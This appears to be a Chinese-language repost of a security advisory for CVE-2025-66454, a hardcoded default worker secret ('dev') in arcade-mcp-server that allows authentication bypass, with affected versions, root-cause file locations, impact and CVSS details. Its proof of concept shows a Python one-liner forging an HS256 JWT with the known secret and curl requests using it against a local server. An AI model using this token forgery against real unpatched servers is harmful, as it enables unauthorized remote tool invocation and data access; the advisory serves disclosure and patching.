arcade-mcp-server 默认硬编码密钥导致严重认证绕过漏洞

本文披露了arcade-mcp-server HTTP服务器中存在一个严重安全漏洞。该漏洞源于使用硬编码的默认工作密钥,使得攻击者无需认证即可完全访问所有工作节点端点,包括工具枚举和调用。

arcade-mcp-server 存在默认硬编码工作密钥,允许未经授权完全访问所有HTTP MCP工作节点端点 · CVE-2025-66454

漏洞详情

软件包 pip: arcade-mcp-server

受影响版本 < 1.9.1

已修复版本 1.9.1

描述

摘要 arcade-mcp HTTP服务器使用了一个硬编码的默认工作密钥(“dev”),该密钥在正常服务器启动过程中从未被验证或覆盖。因此,任何知道此默认密钥的未经认证的攻击者都可以伪造有效的JWT令牌,并完全绕过FastAPI认证层。这使得攻击者能够在没有凭证的情况下远程访问所有工作节点端点——包括工具枚举和工具调用。

任何遵循官方快速入门指南的用户都会受到此漏洞影响,除非他们手动覆盖 ARCADE_WORKER_SECRET 环境变量。

详情 启动HTTP MCP服务器的文档化方法(python server.py http)隐式地将工作密钥设置为硬编码的默认值 “dev”:

  1. ArcadeSettings.server_secret 默认值为 “dev” (位于 libs/arcade-mcp-server/arcade_mcp_server/settings.py:129–158
  2. create_arcade_mcp() 将此值直接传递给 FastAPIWorker 而不进行验证 (位于 libs/arcade-mcp-server/arcade_mcp_server/worker.py:118–188
  3. BaseWorker._set_secret() 接受此值且不强制要求更换密钥 (位于 libs/arcade-serve/arcade_serve/core/base.py:42–83

由于工作节点的签名密钥是固定且公开记录的,攻击者可以轻松生成有效的HS256 JWT令牌:

  • FastAPI工作节点认证中间件(arcade_serve/fastapi/auth.py)信任任何使用工作密钥签名的JWT。
  • 核心认证层(arcade_serve/core/auth.py)无法区分伪造令牌和合法令牌。

因此,按照文档化工作流程部署的服务器将所有 /worker/* 端点暴露给任何能够使用已知密钥生成简单HS256令牌的人。

此CVE漏洞已通过 ArcadeAI/arcade-mcp#691 修复。

概念验证(PoC)

  1. 按照官方指南启动服务器 https://docs.arcade.dev/en/home/build-tools/create-a-mcp-server
  2. 验证未经认证的访问是否被拒绝(预期行为)
    1
    2
    
    curl -s -D - http://127.0.0.1:8000/worker/tools
    # → 403 Forbidden
    
  3. 使用硬编码的默认密钥 “dev” 伪造有效的HS256令牌
    1
    2
    
    import jwt
    print(jwt.encode({'ver': '1', 'aud': 'worker'}, 'dev', algorithm='HS256'))
    
  4. 使用伪造的令牌绕过认证
    1
    2
    3
    
    curl -s -D - \
      -H "Authorization: Bearer $(cat /tmp/forged_token.txt)" \
      http://127.0.0.1:8000/worker/tools
    
    结果: 服务器返回 200 OK,并提供完整的工具目录,允许调用所有工作节点工具。 服务器日志显示一个被拒绝的请求之后立即出现一个成功的伪造请求,证实了绕过行为。

影响 这是一个认证绕过漏洞,导致攻击者能够完全远程访问所有MCP工作节点端点:

  • 未经认证的攻击者可以枚举工具
  • 远程调用任意工具
  • 访问工具返回的任何数据(包括加载到 ToolContext 中的密钥)
  • 如果工具暴露了操作能力,则可在内部系统中执行操作
  • 由于签名密钥已知,无需任何暴力破解或猜测即可执行这些操作

任何遵循官方设置指南的用户都会暴露在此漏洞下,除非他们手动覆盖 ARCADE_WORKER_SECRET(这一点在文档中未提及)。 此漏洞实际上使得任何知晓默认密钥的攻击者都能完全远程控制MCP工作节点API。

参考

严重程度 中危

CVSS 总体评分 6.5 / 10

CVSS v3 基本指标

  • 攻击向量: 网络
  • 攻击复杂度:
  • 所需权限:
  • 用户交互:
  • 范围: 未更改
  • 机密性影响:
  • 完整性影响:
  • 可用性影响:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

EPSS 分数 0.184% (第40百分位)

弱点

  • CWE-284: 不当的访问控制 - 产品未限制或错误地限制了未授权参与者对资源的访问。
  • CWE-321: 使用硬编码的加密密钥 - 产品使用了硬编码的、不可更改的加密密钥。

CVE ID CVE-2025-66454

GHSA ID GHSA-g2jx-37x6-6438

源代码 ArcadeAI/arcade-mcp

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计